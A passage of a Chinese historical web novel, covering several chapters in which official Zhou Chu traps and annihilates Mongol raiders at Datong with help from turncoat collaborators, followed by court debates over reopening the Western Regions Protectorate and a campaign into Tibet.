周楚一句意有所指的话,让朱俊杖的眼神瞬间清澈了,再也不提请客的事了。 蒙古细作来到代王府附近,看到连代王府的守卫都喝的醉眼朦胧,东倒西歪的,又看到一个个军官喝醉之后,互相搂着膀子从代王府出来,这让他瞬间确认了之前那些人说的确实是事实。 如今的大同防备空虚,是千载难逢的机会。 “你们最多能出多少人?” 蒙古细作看着晋王府的人,问道。 晋王府的人一听这话,顿时来了精神,这话的意思很明显是让他们和蒙古人里应外合,如此一来便可以不费吹灰之力攻入大同。 “满打满算能有两百多人。” 晋王府的人想了想,说道。 “好,我这就去回禀大汗,你们在三更的时候,去城门附近伺机而动,一旦看到大汗发的信号,就将城墙上的守军杀了,打开城门。” 细作说道。 “大人放心,我等一定办好。” 晋王府的领事郑重其事道。 蒙古细作听到这话点了点头,随后直接离开了大同,向俺答复命去了,这种重要的情报,飞鸽传书根本不可靠,最好是本人亲自传达,索性离的不远,俺答很快就看到了此人。 “如何?” 俺答看着此人,目光灼灼道。 “大汗神机妙算,那周楚此时正和代王朱俊杖在代王府大开庆功宴,属下亲眼所见,那些明军军官都喝醉了,如今的大同可谓是防备空虚,属下让那些晋王府的人和我们里应外合,三更时分,他们看到信号就会杀向城墙,为我们打开城门。” 蒙古细作恭敬道。 俺答听到这话,眼睛愈发明亮了。 “好,你办的很好,诸位,听到了吗?现在就是攻下大同,杀死那周楚的最佳时机,为我们死去的兄弟们报仇。” 俺答怒吼道。 “报仇!” 其他蒙古人的情绪瞬间被俺答带动了起来,齐声高呼道。 “大人,那些晋王府的人去了城墙附近,他们似乎想和那些蒙古人里应外合,帮他们开城门。” 于海来到周楚面前,汇报着最新的情况。 周楚听到这话,顿时笑了。 “本官正愁该如何全歼这些蒙古人呢,机会这不就来了吗?传令下去,把那些晋王府的人全都抓起来,问出他们打开城门的时机,这个城门,本官亲自为他们开。” 周楚冷笑道。 一旦这些蒙古人进了城,那可就是巷战了,城外有云瑾的玄武军堵住他们的退路,城内有卫所兵将城门团团围住,这些蒙古人就算是插了翅膀,也休想飞出去。 晋王府的人将自己原本在大同的那些属下全都点齐,一共两百多人,全都聚集在了城门口,伺机而动。 “你们一会都机灵点,切不可坏了大王的大事。” 晋王府的领事看着众人,吩咐道。 这些人听到这话,一个个神情肃穆,他们都很清楚,今晚他们必须成功,一旦失败,将会万劫不复。 正当众人静待时机的时候,周楚突然出现无数卫所军,其中甚至还夹杂着锦衣卫,数量很多,起码两三千人。 晋王府的领事脸色一变,不知道此时城门附近为何会突然出现这么多人,他并没有意识到这些人是冲他们来的,只是怕这些人打破他们的计划。 直到这些人将他们团团围住,周楚出现在了他们面前的时候,晋王府的人才一脸难看,他们此时才意识到他们图谋的事情败露了。 “你早就知道了?” 晋王府的领事看着毫无醉意的周楚,脸色极为难看道。 “知道什么?” 周楚反问道。 领事听到这话,瞬间意识到自己说漏嘴了。 “没什么,周大人带着这么多人,将我等围住,是不是不太妥当?” 晋王府领事强自镇定道。 第320章 全歼蒙古骑兵,算无遗策的周楚 “妥当,如何不妥当?难道等你们上了城墙,杀了城墙上的士兵,打开城门迎接蒙古人才妥当吗?” 周楚看着眼前的众人,冷笑道。 晋王府领事听到这话,脸色巨变,他怎么都没想到,自己和蒙古人的计划居然被眼前这位锦衣卫指挥使全盘洞悉了。 “周大人在说什么?在下怎么一句都听不懂?” 晋王府领事说这话的时候,声音已经忍不住有些颤抖了,他太清楚一旦计划被识破,里通外敌,会是什么样的后果,夷三族都是轻的。 “本官来这里可不是和你们逗闷子的,将他们都抓起来,一个不能放走,胆敢逃跑的,直接射杀,不想跑的,直接抱头蹲下。” 周楚面容冷酷道。 晋王府的众人本就是乌合之众,听到这话,脸色纷纷巨变,有人越想越怕,忍不住拔腿就跑,被早已准备好的卫所兵直接用燧发枪射杀当场。 原本那些还在犹豫的,瞬间放下了手中的武器,一个个直接双手抱头蹲在地上,生怕被误伤。 晋王府领事看到这种情况,明白大势已去,他们这两百多人不说是乌合之众,即便是正规军,也不可能是眼前手持火器的卫所兵的对手。 眼前的卫所兵,光是数量就已经碾压了他们,想明白这些,领事惨然一笑,手起刀落,将自己的脖子抹了。 周楚早就预料到了此人会这么做,并未阻止,这人死了也好,人死债消,不会彻底把晋王府打上里通外敌的标签。 对于晋王府,周楚很清楚,皇帝只会处置晋王,最多再加上一个晋王世子,将他们贬为庶人,至于理由?不孝或者其他都可以,但决不能是里通外敌,毕竟晋王府也是老朱家的,如此丑闻无论是对晋王府,亦或是对皇室,都是致命的打击。 无论如何,皇家和藩王府的面子上都要过得去,这一点周楚很清楚。 如何处置晋王和晋王府,对周楚而言并不重要,也不会影响大局,说白了,晋王不过是被那些晋商借用了名头,眼前这些人,恐怕只有这位自杀的是晋王府的人,其他人没一个和晋王府有关。 否则此人也没必要自杀了。 很快,这些人全都被控制了起来。 “你们之中想活命的,只有一个机会,谁先回答我,你们和蒙古人如何约定的,谁就可以活命。” 周楚看着眼前的众人道。 “大人,我知道,我们和蒙古人约定好了,三更时分,城外只要有信号弹,我们就杀上城墙,把值守的士兵都杀了,然后打开城门。” 周楚话音刚落,一个三十多岁,看上去贼眉鼠眼的男人急忙说道。 其他人听到这话,顿觉错失了活下去的良机,一个个恨不得撕了这个男人。 “把他单独关押起来。” 周楚看向于海道。 “大人,不是说说了就可以活命吗?” 男人顿时慌了。 “是可以活命,你以为你们犯下的是什么罪行?通敌卖国,你们之中基本都要夷三族,现在不杀你,不夷你三族,已经是最大的宽恕了,你还想一点事没有?” 周楚拍了拍男人的脸,不屑道。 “大人英明,只要不杀我,别动我的家人,大人要关我多久就关多久,小的绝无二话。” 此人听到这话,这才反应过来,跪倒在周楚面前,磕头如捣蒜。 这人被带走之后,周楚看向了其他人。 “别说本官不给你们机会,你们这些人,谁要是交代的信息有用,作用越大,罪行可以适当减免,可以减为斩立决,或者和他一样,只关不杀,完全看你们交代的东西有多大的作用,对了,相同的信息,其他人要是交代了,你们再说可就没用了。” 周楚说完这话冲着于海挥了挥手。 “全部带走,分开关押。” “是,大人。” 于海急忙说道。 于海带着锦衣卫和这些人离开之后,周楚看向了身后跟着的卫所兵的一众千总。 “马上将这附近的宅子全都清出来,这些百姓也暂时全都控制起来,回头打完再把他们放了,对他们补偿的事,回头沈炼去谈。” 周楚有条不紊地安排道。 事后对百姓的补偿,周楚只能让沈炼去做,其他人去做,周楚信不过。 “是。” 一众千总急忙行礼道。 随后这些千总开始安排手下的士兵去城门附近的宅子之中去将这里的百姓全都请走,有了周楚的命令,他们自然不敢乱来。 当然,有些士兵粗手粗脚的也很正常,这个时候可不是讲礼貌的时候,要真是太礼貌了,有些人反而开始犯横了,现在可是千钧一发,顾不了这么多了。 很快,附近的百姓全都被请走了。 “安排一万兵马,隐藏在这些住宅之中,等候命令。” 周楚说道。 城门附近,能容纳一万兵马已经是极限,一万兵马已经足够将蒙古人团团围在城门口了,多了反而无用。 “是。” 一众千总领命道。 “大柱,去告诉云瑾,一旦看到信号弹,就从外面堵住城门,不要让一个蒙古人走掉。” 周楚看向身后的大柱道。 “是,大人。” 大柱神情肃穆道。 说完这话,大柱翻身上马,城门守将急忙帮大柱打开侧门,大柱从侧门出了大同,直奔云瑾以及玄武军所在的地方而去。 所有卫所兵就位之后,二更天已经过半了,眼看着距离蒙古人说的三更天还差半个时辰,所有人都严阵以待。 胡宗宪赵贞吉等人也都跟着大军躲藏在住宅之中,自从知道周楚今晚有行动之后,庆功宴上他们根本就没喝多少酒,就等着今晚一起行动呢。 “大人,绊马索全都弄好了。” 一个千总来到周楚面前汇报道。 周楚听到这话,点了点头。 为了防止蒙古人冲入城中纵马奔走,周楚还在城门处栓了十几道绊马索,为的就是将蒙古人的速度降下来,如此一来,卫所兵才能以最快的速度形成合围。 夜黑风高,蒙古人能看到绊马索就有鬼了。 眼看着时间快到三更天了,大柱也从城外回来了。 胡宗宪等人大气都不敢喘,他们甚至能听到身边其他士兵此起彼伏的呼吸声,在这寂静的夜里显得格外突出。 他们从未感觉时间像现在这般过的如此的慢。 在众人漫长的等待中,天空之中突然毫无征兆的出现一个信号弹。 “来了!” 胡宗宪精神一振道。 “开城门。” 周楚下令道。 这话一出,很快城门就被打开了,数千蒙古骑兵如同脱缰的野马一般直入大同城内。 眼看着所有的蒙古骑兵都进了城,为首的俺答看着寂静的大同城,满心的志得意满。 “那锦衣卫指挥使周楚,也不过如此,今晚,我就要用他的头来祭我那些死去将士的英灵。” 俺答说着拔出腰间的弯刀。 “兄弟们,冲!” 俺答命令一下,蒙古人瞬间纵马冲了出去,只是还没冲出去多久,前面的蒙古骑兵瞬间被绊马索绊倒,一阵人仰马翻。 “出!” 周楚下令道。 周楚的命令一下,原本隐藏在住宅之中的上万卫所兵纷纷涌出,几乎是瞬间就把眼前这些蒙古人团团围住。 俺答看到这一幕,顿时傻眼了。 “中计了!” 此时俺答终于反应了过来,脸色一变道。 “撤!” 俺答怒吼道。 俺答下命令的时候,为时已晚,此时的城门外,云瑾已经带着玄武军将城门口死死堵住,每个玄武军手中都握着一把燧发枪,一旦有蒙古人出来,就会被射成筛子。 “周楚!你算计我!” 俺答怒吼道,他看到城门外的玄武军之后,瞬间明白了一切,自己被算计的死死地。 “算计?倘若你没有想置我于死地的心,又怎么会被我算计?说白了还是你贪心不足,原本你走跑掉了,为何回头?” 周楚骑着乌骓马,看着俺答冷笑道。 这话说的俺答哑口无言。 “全部杀了,一个不留。” 周楚面容冷酷道。 说完这话,周楚便不再搭理俺答,骑马来到了大军后方,防止那些蒙古人向自己放冷箭。 此时的蒙古人前后都被围住,完全失去了闪转腾挪的空间,前方卫所兵一个个拿着盾牌挡在他们面前,后面的玄武军更是人手一把燧发枪,这种局面让俺答内心充满了绝望。 “我命休矣!” 俺答叹息道。 得到命令的卫所兵和玄武军可不会管俺答发的叹息,他们全都杀向了眼前的蒙古人,最终,经过了半个多时辰的搏杀,所有蒙古人尽数被斩杀,包括死不瞑目的俺答。 对于俺答,周楚完全没有活捉的心思,俺答太年轻了,年轻就代表着他的未来有无数可能,现在就算抓住他,万一某一天被他跑回草原,对大明而言,绝非好事。 既然如此,周楚何不将这种潜在的危机扼杀在摇篮之中呢? “打扫战场,明日为你们庆功。” 周楚看着一众将士,高呼道。 所有人听到这话,顿时来了精神,纷纷开始打扫战场。 和蒙古人的仗打完之后,沈炼来到了关着那些百姓的地方。 “诸位,之前周大人将诸位请来,实在是万不得已,蒙古人三更攻城,大人设下计策,瓮中捉鳖,将诸位请来,实在是权宜之计,大人说了,你们每一家,每人可以来我这里领一两银子,这是大人对诸位的补偿。” 原本这些百姓一个个还异常惶恐,他们之中大多原本都睡觉了,家里突然冲进来一群军爷,毫无理由的将他们都带到了这里。 他们原本都做好了被杀的准备,却没想到是这种结果,一时之间,一个个大喜过望。 不但没事,还有钱领,这世上还有比这更好的事? “多谢大人,多谢大人。” 这些人之中,有的直接跪在了沈炼面前,一直磕头。 他们倒不是因为钱,而是因为安全无事,刚才一直担惊受怕,现在也只求一个平安。 发放补偿的事由沈炼一手操办,周楚极为放心,这要是换了其他人,虽然钱不多,但周楚很清楚,对这些百姓而言,能活着安全回家已经是千恩万谢了,万万不敢提要补偿的事,那负责补偿的人,多半也就顺水推舟,将这个钱昧下了。 “大人,全部打扫干净了。” 卫所军的所有千总都来到了周楚面前,神情恭敬道。 如果说之前他们对周楚恭敬是因为周楚半年多以前帮他们要回了军饷,还帮他们练了兵,那么现在的恭敬又完全不同了。 这位锦衣卫指挥使周大人简直是用兵如神,那可是上万蒙古骑兵啊,就这么轻而易举的全歼了?尐説φ呅蛧 这要是他们,能否守住大同还未可知呢,毕竟这些蒙古人比他们预料的要早到不少,如果是他们,恐怕不会有所防备。 “活着的,无伤的战马统计一下,全部冲入军中,回头我会编出一个两千人的骑兵队伍来。” 周楚说道。 “是!” 这些千总听到这话,都激动了起来,一个个开始幻想自己手下的人全部被大人改编成骑兵的模样。 “大人,那些百姓也都妥善处置完了,补偿全都发下去了。” 沈炼办完之后,已经是后半夜了,来到周楚面前汇报道。 “行了,早点睡吧。” 周楚打了个哈欠道。 第二天一早,蒙古人被全歼在城内的消息不胫而走,大同城内的百姓一个个无比振奋。 “我跟你们说,当时周大人如同天神一般,挡在几千蒙古人面前,硬生生将这些蒙古人拦了下来。” 一个酒馆之中,说书先生说的有声有色,酒馆之中的酒客听的津津有味。 “不对吧,我听说是周大人提前弄了几十道绊马索。” 其中一个酒客提出质疑道。 “你懂什么?没有周大人的神机妙算,能有绊马索吗?还不是周大人拦下来的?” 说书先生一点不慌,说道。 “就是。” 其他人纷纷附和道。 “传令下去,乌海以东的蒙古人,愿意加入我大明的,全部发放大明户籍,不愿意加入的,直接驱逐到乌海以西。” 大同知府衙门之中,周楚下令道。 “是,大人!” 一众官员纷纷领命。 第321章 重开西域都护府,文徵明的殿试排名 犁清草原注定是一个漫长且枯燥的过程,在林鹿回到大同之前,周楚要替他镇守一段时间的大同,防止那些蒙古人被逼急了攻打大同。 毕竟不是所有蒙古人都愿意二选一的,有些蒙古人既不愿意加入大明,也不想被驱逐,那就只能奋起反抗。 当然,这种反抗都是小规模的,如今蒙古人的主要战力都被周楚消灭了,虽然蒙古人还有很多年轻人,但剩下的大多数都是鸽派,而非鹰派,不成气候。 大同城外的草原被不断收复,最高兴的无非是代王朱俊杖,代王府在大同,本身背靠草原,如果说草原上的羊毛生意谁最心动,非朱俊杖莫属。 大明收复的草原越多,意味着他们的牧场就越大。 这些羊毛制品大多都是出口海外,赚取的利润很多,同时也要交很大一部分海税给朝廷,如此一来,各地藩王府和朝廷算是双赢。 当然,现在赚的还不算多,一方面是生产力还没上来,另外一方面则是因为运输成本问题。 生产力的问题很好解决,珍妮纺纱机的图纸,周楚早在多年前就画了出来,只是当时没有草原这个大牧场,贸然拿出来这东西会抢了很多人的饭碗,这不是周楚想看到的。 现在时机已经成熟,俺答以及这上万蒙古骑兵的死,预示着草原上的蒙古人最起码一二十年之内很难组织起有效的反抗了,一二十年之后,周楚有信心让草原上的这些蒙古人彻底汉化。 无论是什么人,说白了都是在为生存而战,蒙古人也是如此,魏晋南北朝的时候,五胡乱华,胡人汉化,就是想要彻底融入中原文明,成为中原的一份子,谁都想过上安稳的日子,而不是朝不保夕。 当然,现阶段,想要更好的统治这些蒙古人,还得蒙古人自己才行。 “大人,他叫达达不花,他说他是汉高祖刘邦的后人,只是祖上流落到草原上,才慢慢变成了蒙古人,他内心一直把自己当成汉人的。” 大同知府带着一个年近四十的蒙古人来到周楚面前,恭敬道。 周楚听到这话,看向眼前的达达不花。 “你真是汉高祖的后人?” 周楚问道。 “千真万确,大人,我们还有族谱。” 达达不花恭敬道。 “把族谱拿来给本官看看。” 周楚得确认一下此人这话的真假,倘若是真的,那再好不过,如此一个外表看上去是蒙古人,芯子里是汉人的对大明在草原上的统治很重要。 “大人请看。” 达达不花似乎早有准备,从怀中取出一本用羊皮缝制的族谱。 周楚拿出族谱看了看,刚开始还有汉字,到了中间全都变成了蒙文,后面是蒙文汉字双语标注的。 “中间怎么全都是蒙文了?” 周楚不解道。 “大人有所不知,前面我那些祖宗还都会汉字,后来传着传着断了代,就不会汉字,只会蒙文,后来前元统治中原的时候,我们又学会了汉字,就开始用汉字蒙文一起写了。” 达达不花解释道。 周楚听到这话,点了点头。 对于达达不花的话,周楚倒是没什么怀疑的,这族谱也是往上可考的,做不得假,汉高祖刘邦有很多后人流落草原,后世传闻,成吉思汗铁木真经过基因测序,就有汉高祖一脉的基因。 虽然不能百分之百的说成吉思汗就是汉高祖的后人,但基本上有百分之九十九以上的几率。 毕竟刘姓之人在刘邦之前的数量和刘邦之后的数量完全不是一个体量。 “陛下想要重开西域都护府,自大同以西,乌海以东,都是西域都护府的地界,当然,以后还会往西扩充,达达不花听令。” 周楚看着达达不花,神情严肃道。 “小的恭听上官令。” 达达不花直接跪倒在周楚面前,五体投地道。 “本官代陛下任命达达不花暂代西域都护府副都护,协同都护共治西域都护府。” 周楚高声道。 “下官多谢大人栽培。” 达达不花听到这话,眼睛瞬间亮了。 说是西域都护府副都护,但达达不花明白,就是让他来管理整个草原的蒙古人,将来朝廷任命的都护,主要负责监察他还有其他草原上做生意的汉人。 这权利不可谓不大,达达不花也算得上是一步登天了。 “现在只是暂代,将来能不能成为副都护,还要看你的表现,你要是干不好,有的是人能干。” 周楚看着达达不花,敲打道。 “大人放心,下官定不会让大人失望。” 达达不花急忙保证道。 达达不花离开之后,周楚写了封密旨,让人八百里加急送往京城。 京城之中,嘉靖刚刚结束殿试,本次科举第一甲进士及第一共三人,分别是姚涞、王教和徐阶,徐阶不出周楚预料的成了探花,朝中很多人都极其看好徐阶,毕竟此时的徐阶才二十出头,就已经高中探花。 要知道前三甲可是储相人选,徐阶将来的前途不可限量。 一时之间,无数达官贵人都想将徐阶招为乘龙快婿。 第二甲的第一名出乎了所有人的预料,居然是文徵明。 不过虽然出乎众人预料,却也没人不服,毕竟文徵明的名字早已响彻大明,无数读书人想要学写字,都模仿过文徵明的字,如今的文徵明已经五十多岁,经过了这么多次的科举,获得二甲第一名,不止没人不满,反而会让其他年纪大的仕子觉得有了盼头。 “诸位,衡器镇守大同,将来犯的上万蒙古铁骑尽数全歼,一个不留,草原于我大明,二十年内再无威胁。” 朝堂之上,嘉靖高声道。 “陛下,天佑大明。” 韩玠出列道。 “是啊陛下,天佑大明,如今陛下收复安南,又收复草原,我大明的版图眼看着就恢复全盛时期了。” 杨慎此时也忍不住拍起了嘉靖的龙屁。 无论是韩玠还是杨慎说话都很有技巧,两人说的都是天佑大明,杨慎更是将收复安南和草原的功劳全都归结于嘉靖,如此一来看似削弱周楚的功劳,实则在暗中保护周楚。 功高震主的道理所有人都明白,这个功劳嘉靖可以给周楚,但他们这些臣子倘若对周楚歌功颂德,皇帝心里肯定会不舒服。 “陛下,老臣没想到有生之年还能看到这等光景,陛下定是我大明的中兴之主,老臣能遇到陛下这等明主,实乃老臣之幸。” 谢迁拍龙屁可比杨慎直接多了,杨慎还委婉一些,谢迁这种人老成精的,拍马屁那叫一个流畅,那叫一个肉麻,为了他儿子谢丕的前途,谢迁也是拼了。 就连杨一清听到这话,都忍不住回头看了一眼谢迁,仿佛不认识他一般,两人同朝为臣几十年,杨一清还是第一次看到谢迁这副面孔,以前的谢迁可是以老成持重著称。 不过杨一清想想也能理解,毕竟谢迁说的话基本都是实话,也不算是拍马屁,只不过说的太过肉麻了。 一想到这里,杨一清顿觉有些后悔,怎么让这个老小子抢了先。 一念及此,杨一清直接出列。 “陛下,臣觉得陛下不只是我大明的中兴之主,未来还会带领大明开创前所未有的盛世,甚至超越汉唐都不成问题。” 杨一清心里一边鄙视谢迁,但嘴里说出的话比谢迁还要夸张。 这也是没办法的事,肉麻的话都被谢迁说了,这种话杨一清又说不出口,只能往更大的格局去说。 嘉靖听到这些话,如沐春风,事实证明,嘉靖不是不喜欢被人拍马屁,而是看拍马屁的人是谁,杨一清谢迁,这两人哪一个不是之前在朝堂上翻手为云覆手为雨的,如今一个个都老实了。 这种感觉让嘉靖异常沉醉。 不过沉醉归沉醉,该办的正事还是要办的。 “朕决定重开西域都护府,自大同以西,乌海以东,都是西域都护府的地界,都护这个职务,诸位可有合适的人选推荐?” 嘉靖看着众人道。 底下的一众官员听到这话,顿时来了精神,这可是西域都护府,第一任都护注定会被载入史册的,虽说西域距离大明极为遥远,也算是苦寒之地,但这西域都护府的都护怎么说也算是封疆大吏,和各省的巡抚官职相当。 这可是正儿八经的正二品啊,虽然实际上的权利远不如巡抚,甚至在当这个都护可能会面临各种各样的危险,比如蒙古人的反水之类的,但所有人都想当这个都护。 “陛下,臣觉得文徵明正合适,他为二甲第一名,又老成持重,做事稳重,最合适不过。” 杨慎提议道。 杨慎和文徵明同为大明文坛的佼佼者,本就惺惺相惜,这次文徵明中了二甲第一,朝堂之中最高兴的就是杨慎,昨日他甚至去了周楚,特意找文徵明喝酒庆祝。 “陛下,杨阁老此言不妥,文徵明不过刚刚被陛下钦点为二甲第一,还未入翰林院,就算外放做官,也不能如此一步登天。” 一个六科的官员听到这话,急忙出列道。 “是啊陛下,杨阁老此言确实不妥。” 其他六科官员纷纷附和道。 嘉靖听到这话,想了想,让文徵明去草原上当一个都护,确实不太合适,文徵明是苏州人士,恐怕很难适应草原上的气候,再加上文徵明如今年纪也大了,五十多岁,如今草原初定,充满着不确定因素,倘若文徵明有个意外,自己也不好向周衡器交代。 不过心里这么想着,嘉靖并没有急着表态,而是等着其他人的提名。 “陛下,臣倒是觉得谢以中谢大人最合适不过。” 韩玠出列道。 谢以中不是别人,正是谢迁的儿子谢丕。 韩玠早就看明白了,谢迁这个老狐狸恐怕早就向陛下投诚了,为的就是他儿子的前途。 既然如此,自己为何不做个顺水人情,这谢丕如今也算是皇上这边的人了,用起来自然也放心。 “陛下,臣也觉得谢大人很合适,谢大人为官多年,老成持重,西域那边需要的就是一个稳重。” 内阁成员贾咏出列道。 有了贾咏和韩玠的带头,紧接着又有很多人纷纷出列,推举谢丕。 嘉靖一直没有说话,而是看向了下面的谢迁。 谢迁顿时明白了嘉靖的意思,他们父子二人倘若同朝为官,又都身居高位的话,恐怕不太合适,嘉靖的意思很明显,他该退了。 谢迁本就是二进京城,如今垂垂老矣,来京城该做的事早就做完了,本就等着一个机会,眼看着这个机会来了,自己的儿子又有了一个极好的前途,他没什么放心不下得了。 “陛下,老臣最近身体愈发不行了,整天困顿异常,想来活不了多久了,老臣想告老还乡。” 谢迁言辞恳切道。 “谢阁老哪里的话?朕现在还离不开你,朝廷也离不开你。” 嘉靖满脸不舍道。 “好了,此事以后再议,既然诸位都提议让谢以中出任那西域都护府的都护,朕觉得谢以中也是踏实能干之人,就由他前往草原吧。” 嘉靖拍板道。 谢迁听到这话,精神一振,他很清楚,自己在京城的日子快要到头了,皇帝的挽留不过是为了体现君王的仁慈,自己要是硬留着不走,那就真是不识好歹了。尛說Φ紋網 不过谢迁也清楚,自己还要多请辞几次,以此体现巨臣的情义。 这种事情,能为自己和皇帝留下美名,何乐而不为? “陛下英明!” 众人听到这话,齐声道。 “还有一事,周衡器跟朕说,他想趁着这个机会,将乌思藏打下来,纳入我大明的版图,诸位如何看?” 嘉靖说道。 乌思藏正是西藏。 众人听到这话,瞬间哗然,议论纷纷。 “陛下,臣觉得周大人此举不妥,那乌思藏易守难攻,地形极为复杂,想要打下来,不知道要消耗多少人力物力,问题是就算打下来,将来我大明想要统治乌思藏,又要消耗多少人力物力,大明又能从乌思藏获得什么呢?” 贾咏出列道。 贾咏这话一出,百官尽皆沉默了。 不论是谁,都不得不承认贾咏这话很有道理,打乌思藏要消耗多少人力物力财力不说,单说统治的难度和乌思藏能为大明带来的效益,完全不成正比。 “陛下,臣也觉得周衡器此举有些不妥,乌思藏能为我大明带来的效益极低,完全是入不敷出。” 杨慎考虑再三,出列道。 杨慎此人,一向是对事不对人,对于乌思藏,他觉得大明没必要这么急着打下来。 将来或许可以,但不是现在。 “陛下,周衡器对乌思藏有何见解?” 杨一清倒是没有急着反对,他倒是想听听周楚对乌思藏的看法,再做定夺。 第322章 周楚的奏疏,朝廷风向的转变 周楚看着手中的密旨,密旨的主要内容是告知周楚朝堂上对周楚进军乌思藏的看法,以及嘉靖询问周楚为何要现在攻打乌思藏。 周楚想了想,发现自己的思维和大明朝堂上的这些官员有着很大的区别,即便是杨慎也觉得攻打乌思藏得不偿失,统治难度太大。 周楚想要攻打西藏,原因很简单,只是想把西藏纳入大明的版图,不过这些问题周楚也是考虑过的,所以对于嘉靖的问题,周楚自然是信手拈来。 西藏的情况和大明其他地区的情况完全不同,甚至和草原南越都不同,整个西藏自吐蕃之后一脉相承,因为环境相当封闭,现在基本成了奴隶制社会了。 西藏的统治阶层完全不把底层百姓当人,随意打杀,底层百姓做牛做马,高层利用藏传佛教对底层百姓宣扬修来生,让底层百姓无限容忍地主阶层的盘剥。 大明自洪武朝之后继承了远超在青藏高原的政治遗产之后,永乐一朝在西藏分封了三大法王和五大地方之王。 但从永乐之后,明朝对西藏的控制日益衰败,现在大明对西藏的毫无控制可言,可以说是有名无实,西藏名义上是大明的领土,但对大明已经是若即若离,甚至西藏的统治阶层已经很多年没有向大明进贡了。 正德十年,宦官刘允奉皇命入藏,请八世法王入京,没想到刘允到了西藏之后,八世法王不愿意出藏,更不愿意入京,刘允和其部下以武力强行劫持,打算押送到京城,不料被当地番兵夜袭,死伤大半,刘允落荒而逃。 自此以后,乌思藏和大明的关系进一步恶化,大明可以说彻底对西藏失去了统治。 周楚提出的收复乌思藏,自然不是简单的将西藏纳入大明的版图,而是要把西藏现有的社会结构彻底打乱,让那些底层百姓看到希望,让他们作为西藏的主人。 只有这样,西藏的百姓才会对大明感恩戴德,从内心归属大明。 也只有这样,大明对西藏的统治成本才能降到最低。 当然,大明一直对西藏实行统而不治的根本原因,还在于大明西北一直有着蒙古人这个心腹之患,有蒙古人虎视眈眈,大明自然不好和西藏那边的关系搞的太僵,所以才有了这样的政策。 相对于大明,无论是前元亦或是满清,都没有了蒙古人这个边患,这两个朝代对西藏是真正的实现了统而治之。 周楚之所以想攻打西藏,也是因为大明西北方的蒙古人被彻底打熄火了,如果发展的妥当,大明未来将再无北患,如此一来,自然要把目光放在西藏上面。 不过很多话,周楚是不会说的,比如自己想要彻底打破乌思藏的社会结构这种话一旦说出口,满朝文武基本都会反对攻打乌思藏。 因为他们代表的就是地主士绅阶层,现阶段利益的享有者,他们不会允许任何人破坏现有的阶层,哪怕只是有个苗头也不行。 虽然周楚只打算在西藏这么做,但没人敢保证周楚在西藏做完这件事,会不会蔓延到大明来,这种事,他们不允许有一点苗头产生。 于是周楚就陈述了西藏的好处,比如西藏拥有的水的储存量,对大明而言至关重要,又比如西藏拥有的各种矿产资源,甚至金矿,一一罗列出来。 同时周楚写明了,如今大明已经没了蒙古人这个祸患,想要彻底统治西域都护府这片区域,就得把乌思藏打下来,和西域都护府互为掎角之势。 周楚在奏疏上着重陈述了西藏对大明的战略意义,以及西藏对大明的防护作用。 同时周楚在奏疏上特意说明,无论是前元亦或是洪武永乐朝,对乌思藏的统治成本其实没有那么高,自己还有办法进一步缩减对乌思藏的统治成本。 此消彼长之下,周楚的奏疏之中西藏对大明的作用极大,大明对西藏的统治成本反而很低,如此一来,周楚不相信朝中那些官员还有什么理由反对。 周楚的这封奏疏写的很详细,也很谨慎,因为有些东西能提,有些则不能,一旦提了,周楚很清楚自己再无进藏的可能了。 大同和京城距离六百里,周楚的奏疏即便不用八百里加急,两三天的时间也到了京城了。 御书房之中,嘉靖早就在等周楚的这封奏疏了,从黄锦手中接过急忙打开。 “平藏策。” 嘉靖看着周楚的前面三个字,无比惊喜。 作为皇帝,他是希望周楚将西藏彻底荡平的,如此一来,他的功绩将会再加一笔,到时候大明的版图将达到前所未有的大,这个版图还是实控版图,和名义上的统而不治完全不是一个概念。 “今北患已平,陛下再无顾虑,正德十年,八世法王胆大包天,杀我大明使臣,此仇不报,大明威严何在?” 朝堂之上,嘉靖着重的读了这几句,然后看向下方的朝臣,似乎想要看看他们的反应。 “陛下,臣以为周衡器所言甚至,如今我大明不缺钱财,那乌思藏对我大明早有不臣之心,只是以前大明有蒙古人这个北患,自然不好和他们一般见识,如今北患已平,这笔账定要好好算一算。” 杨一清言之凿凿道。 “陛下,臣之前所言,有失偏颇,还是周衡器看的远,看的全面。” 杨慎说道。 有了杨一清和杨慎带头,朝堂上其他官员的态度自然是一边倒,全都义愤填膺,表示应当扬我大明国威。 “既如此,那就这么定下了,着周衡器率兵马入藏,荡平乌思藏,后勤补给一应事宜,由兵部和户部负责。” 嘉靖高声道。 “陛下英明。” 文武百官纷纷附和道。 “陛下,老臣近日愈发觉得老眼昏花了,昨日吃着吃着饭,居然睡着了,老臣这身子骨,实在是不适合在朝为官了,还望陛下准许老臣告老还乡。”Www.XSZWω8.ΝΕt 谢迁再次出列道。 “谢阁老怎么又说这种话?朕这里有飞霞子道长炼的丹药,有延年益寿的功效,你先拿去吃着,看看身子会不会有所好转。” 嘉靖似乎对谢迁的话早有准备,看了一眼黄锦,黄锦当即拿着一个锦盒来到了谢迁面前。 “这丹药之中朕加了许多名贵的药材,都是一等一的补药,对谢阁老应该也有作用。” 嘉靖说道。 谢迁听到这话,眼中满是感动,眼看着泪水就要流出来了。 “陛下对老臣之心,老臣铭感五内,不知该如何报答。” 这一刻,谢迁的演技达到了巅峰。 “说什么报答,好好帮朕,帮朝廷做事就行了。” 嘉靖笑道。 第323章 嘉靖对晋王府的处理结果,前往太原 文徵明被嘉靖任命为国子监祭酒,是之前严嵩的职位,这个职位主要就是劝谏皇帝。 这个活别人来或许不行,但文徵明再合适不过。 首先文徵明在大明文坛的地位举足轻重,其次,文徵明是周楚的老师,嘉靖就是要让这位有些略显迂腐的夫子时刻劝谏自己,以免自己行差踏错。 嘉靖很清楚,很多皇帝偏听偏信,好话听多了,也就信了,慢慢也就不知所以然了。 好话要听,不受听的话也要听,正所谓兼听则明,偏听则暗。 倘若没有周楚为嘉靖打下的现在的基本盘,嘉靖或许不会像现在这般雄心壮志,倘若没有周楚为嘉靖将很多事都办了,嘉靖或许会雄心勃勃一段时间,然后心灰意冷,开始摆烂。 但现在的情况,让嘉靖看到了希望,看到了中兴大明,甚至将大明推到一个前所未有的高峰的希望。 任何一个皇帝,面对这种局面,都会拥有雄心壮志。 嘉靖觉得自己将来未尝不如唐太宗李世民,李世民身边有个诤臣魏征,那么自己身边也可以有一个诤臣。 这就是嘉靖对文徵明的定位和期许。 文徵明被任命为国子监祭酒的时候,很是高兴,国子监祭酒再怎么说都是正三品的职务,这个官职的含金量完全取决于皇帝。 像前朝皇帝正德帝朱厚照,就是一位混不吝的主,严嵩作为国子监祭酒那叫一个煎熬。 